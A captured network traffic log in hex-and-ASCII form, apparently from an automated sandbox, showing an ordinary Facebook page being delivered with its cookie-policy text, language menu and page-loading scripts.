href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fwww.youronlinechoices.com\u00252F&h=AT2tmIlngriyQIkQTqlnKuiu30CqlmN3O_2yzGAloj87EDGj6NsqQsKF31pkjq-vKTb7gvif4eWuCaKShp1SykzA5r58Cg
2023-05-28 08:43:48 UTC	2131	IN	Data Raw: 32 30 2c 20 79 6f 75 20 6d 61 79 20 66 69 6e 64 20 61 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 20 6f 66 66 65 72 65 64 20 62 79 20 70 6f 70 75 6c 61 72 20 62 72 6f 77 73 65 72 73 20 61 74 20 74 68 65 20 6c 69 6e 6b 73 20 62 65 6c 6f 77 2e 20 43 65 72 74 61 69 6e 20 70 61 72 74 73 20 6f 66 20 4d 65 74 61 20 50 72 6f 64 75 63 74 73 20 6d 61 79 20 6e 6f 74 20 77 6f 72 6b 20 70 72 6f 70 65 72 6c 79 20 69 66 20 79 6f 75 20 68 61 76 65 20 64 69 73 61 62 6c 65 64 20 62 72 6f 77 73 65 72 20 63 6f 6f 6b 69 65 73 2e 20 50 6c 65 61 73 65 20 62 65 20 61 77 61 72 65 20 74 68 61 74 20 74 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 20 61 72 65 20 64 69 73 74 69 6e 63 74 20 66 72 6f 6d 20 74 68 65 Data Ascii: 20, you may find additional information about the controls offered by popular browsers at the links below. Certain parts of Meta Products may not work properly if you have disabled browser cookies. Please be aware that these controls are distinct from the
2023-05-28 08:43:48 UTC	2133	IN	Data Raw: 44 64 5f 57 66 59 48 79 64 62 46 4a 4c 35 38 73 42 71 6e 51 4e 73 59 5a 75 69 59 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 61 73 79 6e 63 6c 61 7a 79 5c 22 3e 46 69 72 65 66 6f 78 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 61 70 70 6c 65 2e 63 6f 6d 5c 75 30 30 32 35 32 46 65 6e 2d 69 65 5c 75 30 30 32 35 32 46 67 75 69 64 65 5c 75 Data Ascii: Dd_WfYHydbFJL58sBqnQNsYZuiYw\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"asynclazy\">Firefox\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.apple.com\u00252Fen-ie\u00252Fguide\u
2023-05-28 08:43:48 UTC	2134	IN	Data Raw: 34 62 64 64 0d 0a 2d 67 35 6c 64 47 47 55 6e 54 33 42 34 43 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 61 73 79 6e 63 6c 61 7a 79 5c 22 3e 53 61 66 61 72 69 20 4d 6f 62 69 6c 65 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 62 6c 6f 67 73 2e 6f 70 65 72 61 2e 63 6f 6d 5c 75 30 30 32 35 32 46 6e 65 77 73 5c 75 30 30 32 35 32 46 32 30 31 35 5c 75 30 30 32 35 32 Data Ascii: 4bdd-g5ldGGUnT3B4CQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"asynclazy\">Safari Mobile\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fblogs.opera.com\u00252Fnews\u00252F2015\u00252
2023-05-28 08:43:48 UTC	2135	IN	Data Raw: 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 61 38 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 61 36 5c 22 3e 5c 75 30 30 33 43 69 6d 67 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 63 6f 6f 6b 69 65 5f 69 6e 66 6f 5f 70 6f 70 75 70 5f 69 6d 61 67 65 5f 31 2e 70 6e 67 5c 22 20 61 6c 74 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 20 69 6d 61 67 65 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 37 66 5c 22 20 5c 2f 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c Data Ascii: \u003C\/i>\u003C\/button>\u003C\/div>\u003Cdiv class=\"_ala8\">\u003Cdiv class=\"_ala6\">\u003Cimg src=\"https:\/\/www.facebook.com\/images\/cookies\/cookie_info_popup_image_1.png\" alt=\"background image\" class=\"_al7f\" \/>\u003C\/div>\u003Cdiv class=\
2023-05-28 08:43:48 UTC	2137	IN	Data Raw: 63 68 20 61 73 20 62 79 20 70 65 72 73 6f 6e 61 6c 69 73 69 6e 67 20 63 6f 6e 74 65 6e 74 2c 20 74 61 69 6c 6f 72 69 6e 67 20 61 6e 64 20 6d 65 61 73 75 72 69 6e 67 20 61 64 73 2c 20 61 6e 64 20 70 72 6f 76 69 64 69 6e 67 20 61 20 73 61 66 65 72 20 65 78 70 65 72 69 65 6e 63 65 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 3e 57 68 69 6c 65 20 74 68 65 20 63 6f 6f 6b 69 65 73 20 74 68 61 74 20 77 65 20 75 73 65 20 6d 61 79 20 63 68 61 6e 67 65 20 66 72 6f 6d 20 74 69 6d 65 20 74 6f 20 74 69 6d 65 20 61 73 20 77 65 20 69 6d 70 72 6f 76 65 20 61 6e 64 20 75 70 64 61 74 65 20 74 68 65 20 4d 65 74 61 20 50 72 6f 64 75 63 74 73 2c 20 77 65 20 75 73 65 20 74 68 65 6d 20 66 6f 72 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 70 75 72 70 6f 73 65 73 3a 5c Data Ascii: ch as by personalising content, tailoring and measuring ads, and providing a safer experience.\u003C\/p>\u003Cp>While the cookies that we use may change from time to time as we improve and update the Meta Products, we use them for the following purposes:\
2023-05-28 08:43:48 UTC	2138	IN	Data Raw: 20 61 6e 64 20 68 6f 77 20 77 65 20 75 73 65 20 74 68 65 6d 20 69 6e 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 22 20 69 64 3d 5c 22 63 70 6e 2d 70 76 2d 6c 69 6e 6b 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 43 6f 6f 6b 69 65 73 20 50 6f 6c 69 63 79 5c 75 30 30 33 43 5c 2f 61 3e 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 Data Ascii: and how we use them in our \u003Ca href=\"https:\/\/www.facebook.com\/privacy\/policies\/cookies\" id=\"cpn-pv-link\" target=\"_blank\">Cookies Policy\u003C\/a>.\u003C\/p>\u003C\/div>\u003C\/div>\u003Cdiv>\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv cla
2023-05-28 08:43:48 UTC	2140	IN	Data Raw: 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 37 62 61 35 34 31 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 61 38 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 61 36 5c 22 3e 5c 75 30 30 33 43 69 6d 67 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 63 6f 6f 6b 69 65 5f 69 6e 66 6f 5f 70 6f 70 75 70 5f 69 6d 61 67 65 5f 34 2e 70 6e 67 5c 22 20 61 6c 74 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 20 69 6d 61 67 65 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 37 66 5c 22 20 5c 2f 3e 5c 75 30 Data Ascii: p_EP9wX8qDDvu sx_7ba541\">\u003C\/i>\u003C\/button>\u003C\/div>\u003Cdiv class=\"_ala8\">\u003Cdiv class=\"_ala6\">\u003Cimg src=\"https:\/\/www.facebook.com\/images\/cookies\/cookie_info_popup_image_4.png\" alt=\"background image\" class=\"_al7f\" \/>\u0
2023-05-28 08:43:48 UTC	2141	IN	Data Raw: 37 5f 38 79 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 46 72 61 6e 5c 75 30 30 65 37 61 69 73 20 28 46 72 61 6e 63 65 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 38 5f 72 4f 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 49 74 61 6c 69 61 6e 6f 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 6b 73 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4d 61 67 79 61 72 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 56 7a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 62 5f 67 75 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 6f 72 73 6b 20 28 62 6f 6b 6d 5c Data Ascii: 7_8y",{"__html":"Fran\u00e7ais (France)"},1],["__markup_3310c079_0_8_rO",{"__html":"Italiano"},1],["__markup_3310c079_0_9_ks",{"__html":"Magyar"},1],["__markup_3310c079_0_a_Vz",{"__html":"Nederlands"},1],["__markup_3310c079_0_b_gu",{"__html":"Norsk (bokm\
2023-05-28 08:43:48 UTC	2142	IN	Data Raw: 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 39 39 39 39 5c 75 36 65 32 66 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 49 6a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 36 35 65 35 5c 75 36 37 32 63 5c 75 38 61 39 65 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 70 75 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 7d 2c 31 5d 5d 2c 22 65 6c 65 6d 65 6e 74 73 22 3a 5b 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 31 5f 33 69 22 2c 22 75 5f 30 5f 30 5f 73 45 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 48 50 22 2c 22 67 6c 6f 62 61 6c 43 6f 6e 74 61 69 6e 65 72 22 2c 32 Data Ascii: u4e2d\u6587(\u9999\u6e2f)"},1],["__markup_3310c079_0_u_Ij",{"__html":"\u65e5\u672c\u8a9e"},1],["__markup_3310c079_0_v_pu",{"__html":"\ud55c\uad6d\uc5b4"},1]],"elements":[["__elem_a588f507_0_1_3i","u_0_0_sE",1],["__elem_a588f507_0_0_HP","globalContainer",2
2023-05-28 08:43:48 UTC	2144	IN	Data Raw: 35 66 61 63 31 35 5f 30 5f 30 5f 62 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 66 5f 57 4d 22 2c 22 75 5f 30 5f 6c 5f 7a 65 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 62 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 30 5f 58 32 22 2c 22 75 5f 30 5f 6d 5f 4c 56 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 62 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 67 5f 79 79 22 2c 22 75 5f 30 5f 6e 5f 32 6e 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 62 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 31 5f 45 79 22 2c 22 75 5f 30 5f 6f 5f 2b 2b 22 2c 31 Data Ascii: 5fac15_0_0_bR"],["__elem_a588f507_0_f_WM","u_0_l_ze",1,"__markup_9f5fac15_0_0_bR"],["__elem_0cdc66ad_0_0_X2","u_0_m_LV",1,"__markup_9f5fac15_0_0_bR"],["__elem_a588f507_0_g_yy","u_0_n_2n",1,"__markup_9f5fac15_0_0_bR"],["__elem_0cdc66ad_0_1_Ey","u_0_o_++",1
2023-05-28 08:43:48 UTC	2145	IN	Data Raw: 36 35 5f 30 5f 30 5f 59 75 22 5d 2c 5b 22 4c 61 79 65 72 22 2c 22 73 68 6f 77 22 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 75 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 75 22 7d 5d 5d 2c 5b 22 57 65 62 43 6f 6f 6b 69 65 55 73 65 53 69 6e 67 6c 65 4c 65 76 65 6c 4d 61 6e 61 67 65 44 69 61 6c 6f 67 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 75 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 30 5f 74 55 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 31 5f 55 45 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 59 75 Data Ascii: 65_0_0_Yu"],["Layer","show",["__inst_ead1e565_0_0_Yu"],[{"__m":"__inst_ead1e565_0_0_Yu"}]],["WebCookieUseSingleLevelManageDialogController","init",["__inst_ead1e565_0_0_Yu","__elem_45d73b5d_0_0_tU","__elem_45d73b5d_0_1_UE"],[{"__m":"__inst_ead1e565_0_0_Yu
2023-05-28 08:43:48 UTC	2147	IN	Data Raw: 5f 43 45 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 33 5f 72 47 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 6f 66 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 37 30 62 31 36 63 36 39 5f 30 5f 30 5f 43 45 22 7d 5d 5d 2c 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 70 44 22 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 64 5f 30 5f 30 5f 71 68 22 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 2b 74 22 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 70 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 50 6f 70 75 70 48 61 6e 64 6c 65 72 Data Ascii: _CE"],[{"__m":"__elem_a588f507_0_3_rG"},{"__m":"__elem_a588f507_0_4_of"},{"__m":"__elem_70b16c69_0_0_CE"}]],["PageTransitions"],["__inst_02182015_0_0_pD"],["__inst_e5ad243d_0_0_qh"],["__inst_1de146dc_0_0_+t"],["CookieInfoPopupController","initPopupHandler
2023-05-28 08:43:48 UTC	2148	IN	Data Raw: 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 65 5f 61 61 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 65 5f 61 61 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 61 6c 39 63 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 70 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 50 6f 70 75 70 48 61 6e 64 6c 65 72 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 30 5f 58 32 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 30 63 64 63 36 36 61 64 5f 30 5f 30 5f 58 32 22 7d 2c 22 63 6c 6f 73 65 22 2c 6e 75 6c 6c 2c 22 5f 61 6c 37 68 22 2c 22 5f 61 6c 37 69 22 2c 22 5f 61 6c 37 63 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 49 6e 66 6f 50 6f 70 75 Data Ascii: m_a588f507_0_e_aa"],[{"__m":"__elem_a588f507_0_e_aa"},"_9ngb","._9nga","._al9c","._9ngg"]],["CookieInfoPopupController","initPopupHandler",["__elem_0cdc66ad_0_0_X2"],[{"__m":"__elem_0cdc66ad_0_0_X2"},"close",null,"_al7h","_al7i","_al7c"]],["CookieInfoPopu
2023-05-28 08:43:48 UTC	2150	IN	Data Raw: 6f 6e 73 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 22 63 73 73 22 5d 5d 2c 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 5d 2c 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 5b 22 53 65 72 76 65 72 4a 53 22 5d 2c 5b 22 52 75 6e 22 5d 2c 5b 22 49 6e 69 74 69 61 6c 4a 53 4c 6f 61 64 65 72 22 5d 5d 2c 22 63 6f 6e 74 65 78 74 73 22 3a 5b 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 31 5f 33 69 22 7d 2c 74 72 75 65 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 32 5f 6d 50 22 7d 2c 74 72 75 65 5d 5d 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 52 75 6e 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 52 75 6e 29 7b 52 75 6e 2e 6f 6e 41 66 74 65 72 4c 6f 61 64 28 66 75 6e Data Ascii: ons","Animation"],"css"]],["TimeSliceImpl"],["HasteSupportData"],["ServerJS"],["Run"],["InitialJSLoader"]],"contexts":[[{"__m":"__elem_a588f507_0_1_3i"},true],[{"__m":"__elem_a588f507_0_2_mP"},true]]});requireLazy(["Run"],function(Run){Run.onAfterLoad(fun
2023-05-28 08:43:48 UTC	2151	IN	Data Raw: 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 69 37 4d 35 34 2f 79 78 2f 6c 2f 65 6e 5f 55 53 2f 4c 73 52 5a 65 45 7a 63 64 36 42 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 41 57 47 4c 7a 6e 65 39 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 45 2f 72 2f 79 57 67 36 6d 6b 55 43 6a 59 52 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 41 57 47 4c 7a 6e 65 39 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 Data Ascii: fbcdn.net/rsrc.php/v3i7M54/yx/l/en_US/LsRZeEzcd6B.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="AWGLzne9" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yE/r/yWg6mkUCjYR.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="AWGLzne9" /><link rel="pre
2023-05-28 08:43:48 UTC	2153	IN	Data Raw: 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 7b 64 69 73 70 6c 61 79 52 65 73 6f 75 72 63 65 73 3a 5b 22 48 4c 54 48 42 46 4f 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 50 75 64 36 42 32 5a 22 2c 22 6d 72 36 51 65 61 78 22 2c 22 45 54 35 31 42 6d 4d 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 45 78 39 50 4a 72 75 22 2c 22 50 2f 6d 72 35 56 45 22 2c 22 65 4e 53 67 44 73 57 22 5d 2c 69 64 3a 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 70 68 61 73 65 3a 30 2c Data Ascii: e"],(function(bigPipe){bigPipe.onPageletArrive({displayResources:["HLTHBFO","mdXyUDL","Pud6B2Z","mr6Qeax","ET51BmM","LfFe6kq","9NMF+qx","s4W0XF/","OLUnqzA","9MogwrT","7Z7sy3l","Hsd7Z2V","i1vDKt9","Ex9PJru","P/mr5VE","eNSgDsW"],id:"first_response",phase:0,
2023-05-28 08:43:48 UTC	2154	IN	Data Raw: 66 39 39 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 57 47 4c 7a 6e 65 39 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 6c 61 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 57 47 4c 7a 6e 65 39 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 Data Ascii: f99<script nonce="AWGLzne9">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("last_response",n);})})();</script><script nonce="AWGLzne9">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletAr
2023-05-28 08:43:48 UTC	2155	IN	Data Raw: 78 75 69 78 37 66 44 67 32 52 56 66 74 41 57 55 48 4f 32 71 66 79 6d 6b 68 72 6b 4d 56 51 52 31 53 54 54 4e 53 4a 56 45 67 77 4e 6b 6f 58 41 5f 44 47 2d 38 79 48 6a 30 43 74 6b 7a 6a 36 44 58 63 6b 49 4e 43 5f 66 79 6e 39 34 77 36 79 74 41 63 63 58 54 49 49 68 7a 55 72 6b 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 38 38 35 37 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 33 5f 5a 39 33 6f 67 52 66 58 2d 66 4a 61 56 57 74 79 4e 47 6a 62 42 30 44 66 45 4e 4f 67 73 45 44 50 35 6f 63 37 6b 68 72 51 59 50 66 78 38 32 38 56 50 33 59 79 78 73 6a 56 55 45 32 70 67 47 45 53 5f 55 6d 59 34 55 31 49 61 52 38 46 33 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 34 31 35 38 22 2c 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 Data Ascii: xuix7fDg2RVftAWUHO2qfymkhrkMVQR1STTNSJVEgwNkoXA_DG-8yHj0Ctkzj6DXckINC_fyn94w6ytAccXTIIhzUrk"]},-1],["cr:1108857",[],{__rc:[null,"Aa3_Z93ogRfX-fJaVWtyNGjbB0DfENOgsEDP5oc7khrQYPfx828VP3YyxsjVUE2pgGES_UmY4U1IaR8F3g"]},-1],["cr:1294158",["React.classic"],{__r
2023-05-28 08:43:48 UTC	2156	IN	Data Raw: 6b 47 73 51 47 48 6a 32 4b 7a 46 6f 32 45 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 32 30 32 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 33 5f 5a 39 33 6f 67 52 66 58 2d 66 4a 61 56 57 74 79 4e 47 6a 62 42 30 44 66 45 4e 4f 67 73 45 44 50 35 6f 63 37 6b 68 72 51 59 50 66 78 38 32 38 56 50 33 59 79 78 73 6a 56 55 45 32 70 67 47 45 53 5f 55 6d 59 34 55 31 49 61 52 38 46 33 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 37 31 34 37 33 22 2c 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 2c 22 41 61 33 38 39 36 34 6b 5f 4c 39 56 35 56 70 2d 4c 39 46 4d 6c 39 51 63 69 6c 57 63 62 54 7a 78 61 37 50 2d 74 43 